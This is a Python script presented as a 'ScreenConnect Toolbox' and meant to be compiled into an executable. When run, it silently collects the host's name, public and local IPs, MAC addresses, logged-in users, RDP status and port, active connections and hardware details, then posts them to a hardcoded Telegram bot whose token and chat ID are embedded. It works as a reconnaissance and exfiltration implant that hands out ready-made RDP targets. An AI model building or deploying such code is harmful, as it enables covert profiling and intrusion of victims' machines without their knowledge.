"""
ScreenConnect Toolbox - System Info to Telegram
Collects machine info and sends it to a Telegram chat instantly.
Configure BOT_TOKEN and CHAT_ID before compiling.
"""

import socket
import platform
import os
import sys
import json
import psutil
import datetime
import requests

# ---------------------------------------------
#  CONFIGURE THESE BEFORE BUILDING THE .EXE
# ---------------------------------------------
BOT_TOKEN = "8765373611:AAFojPJz4OT19wpQxfT7zZJryd786leZ-nE"
CHAT_ID   = "7696947855"
# ---------------------------------------------


def get_public_ip() -> str:
    for url in ["https://api.ipify.org?format=json", "https://api4.my-ip.io/ip.json"]:
        try:
            r = requests.get(url, timeout=5)
            data = r.json()
            return data.get("ip") or data.get("IP") or list(data.values())[0]
        except Exception:
            pass
    try:
        r = requests.get("https://ifconfig.me/ip", timeout=5)
        return r.text.strip()
    except Exception:
        return "Unavailable"


def get_local_ips() -> list:
    ips = []
    try:
        for iface, addrs in psutil.net_if_addrs().items():
            for addr in addrs:
                if addr.family == socket.AF_INET and not addr.address.startswith("127."):
                    ips.append((iface, addr.address))
    except Exception:
        pass
    return ips


def get_mac_addresses() -> list:
    macs = []
    try:
        for iface, addrs in psutil.net_if_addrs().items():
            for addr in addrs:
                if addr.family == psutil.AF_LINK:
                    mac = addr.address
                    if mac and mac != "00:00:00:00:00:00":
                        macs.append(f"{iface}: {mac}")
    except Exception:
        pass
    return macs or ["Unavailable"]


def get_rdp_info() -> dict:
    info = {"enabled": False, "port": 3389}
    try:
        import winreg
        key = winreg.OpenKey(
            winreg.HKEY_LOCAL_MACHINE,
            r"SYSTEM\CurrentControlSet\Control\Terminal Server",
        )
        deny_val, _ = winreg.QueryValueEx(key, "fDenyTSConnections")
        winreg.CloseKey(key)
        info["enabled"] = (deny_val == 0)

        key2 = winreg.OpenKey(
            winreg.HKEY_LOCAL_MACHINE,
            r"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp",
        )
        port_val, _ = winreg.QueryValueEx(key2, "PortNumber")
        winreg.CloseKey(key2)
        info["port"] = port_val
    except Exception:
        pass
    return info


def get_active_connections() -> list:
    conns = []
    try:
        for c in psutil.net_connections(kind="inet"):
            if c.status == "ESTABLISHED":
                laddr = f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "?"
                raddr = f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "?"
                conns.append(f"{laddr} -> {raddr} ({c.type.name})")
    except Exception:
        pass
    return conns[:10] or ["None"]


def get_os_info() -> str:
    try:
        uname = platform.uname()
        return (
            f"{uname.system} {uname.release} ({uname.version[:40]})\n"
            f"  Architecture : {uname.machine}\n"
            f"  Processor    : {uname.processor or platform.processor()}"
        )
    except Exception:
        return "Unavailable"


def get_cpu_info() -> str:
    try:
        cores_phys = psutil.cpu_count(logical=False)
        cores_log  = psutil.cpu_count(logical=True)
        freq       = psutil.cpu_freq()
        usage      = psutil.cpu_percent(interval=0.5)
        freq_str   = f"{freq.current:.0f} MHz" if freq else "N/A"
        return f"{cores_phys}C / {cores_log}T  |  {freq_str}  |  {usage}% used"
    except Exception:
        return "Unavailable"


def get_ram_info() -> str:
    try:
        vm    = psutil.virtual_memory()
        total = vm.total / (1024 ** 3)
        used  = vm.used  / (1024 ** 3)
        return f"{used:.1f} GB / {total:.1f} GB  ({vm.percent}% used)"
    except Exception:
        return "Unavailable"


def get_disk_info() -> list:
    parts = []
    try:
        for disk in psutil.disk_partitions(all=False):
            try:
                usage = psutil.disk_usage(disk.mountpoint)
                total = usage.total / (1024 ** 3)
                used  = usage.used  / (1024 ** 3)
                parts.append(
                    f"{disk.device} ({disk.fstype}): "
                    f"{used:.1f}/{total:.1f} GB  ({usage.percent}%)"
                )
            except PermissionError:
                pass
    except Exception:
        pass
    return parts or ["Unavailable"]


def get_logged_in_users() -> list:
    users = []
    try:
        for u in psutil.users():
            t = datetime.datetime.fromtimestamp(u.started).strftime("%H:%M")
            users.append(f"{u.name} (since {t})")
    except Exception:
        pass
    return users or ["Unavailable"]


def get_uptime() -> str:
    try:
        boot  = psutil.boot_time()
        delta = datetime.datetime.now() - datetime.datetime.fromtimestamp(boot)
        h, rem = divmod(int(delta.total_seconds()), 3600)
        m = rem // 60
        return f"{h}h {m}m"
    except Exception:
        return "Unavailable"


def build_message() -> str:
    hostname  = socket.gethostname()
    pub_ip    = get_public_ip()
    local_ips = get_local_ips()
    macs      = get_mac_addresses()
    rdp       = get_rdp_info()
    os_info   = get_os_info()
    cpu_info  = get_cpu_info()
    ram_info  = get_ram_info()
    disks     = get_disk_info()
    users     = get_logged_in_users()
    uptime    = get_uptime()
    active_cx = get_active_connections()
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    rdp_status = "ENABLED" if rdp["enabled"] else "DISABLED"
    rdp_port   = rdp["port"]
    rdp_public = f"{pub_ip}:{rdp_port}"
    rdp_locals = [f"{ip}:{rdp_port}" for _, ip in local_ips] or ["Unavailable"]

    lines = [
        "*SC - System Report*",
        f"`{timestamp}`",
        "",
        f"*Hostname* : `{hostname}`",
        f"*Users*    : " + ", ".join(f"`{u}`" for u in users),
        f"*Uptime*   : `{uptime}`",
        "",
        "*Network*",
        f"  Public IP : `{pub_ip}`",
    ]

    for iface, ip in local_ips:
        lines.append(f"  Local IP  : `{iface}: {ip}`")
    for mac in macs:
        lines.append(f"  MAC       : `{mac}`")

    lines += [
        "",
        f"*Remote Desktop (RDP)* - {rdp_status}",
        f"  Port       : `{rdp_port}`",
        f"  Public RDP : `{rdp_public}`",
    ]
    for rl in rdp_locals:
        lines.append(f"  Local RDP  : `{rl}`")

    lines += [
        "",
        "*Active Connections (top 10)*",
    ]
    for cx in active_cx:
        lines.append(f"  `{cx}`")

    lines += [
        "",
        "*Hardware*",
        f"  OS  : {os_info}",
        f"  CPU : `{cpu_info}`",
        f"  RAM : `{ram_info}`",
        "",
        "*Disks*",
    ]
    for d in disks:
        lines.append(f"  `{d}`")

    return "\n".join(lines)


def send_telegram(text: str) -> None:
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    resp = requests.post(url, json={
        "chat_id"    : CHAT_ID,
        "text"       : text,
        "parse_mode" : "Markdown",
    }, timeout=10)
    result = resp.json()
    if not result.get("ok"):
        raise RuntimeError(f"Telegram error: {result}")


def main() -> None:
    if BOT_TOKEN == "YOUR_BOT_TOKEN_HERE" or CHAT_ID == "YOUR_CHAT_ID_HERE":
        sys.exit(1)
    message = build_message()
    send_telegram(message)


if __name__ == "__main__":
    main()
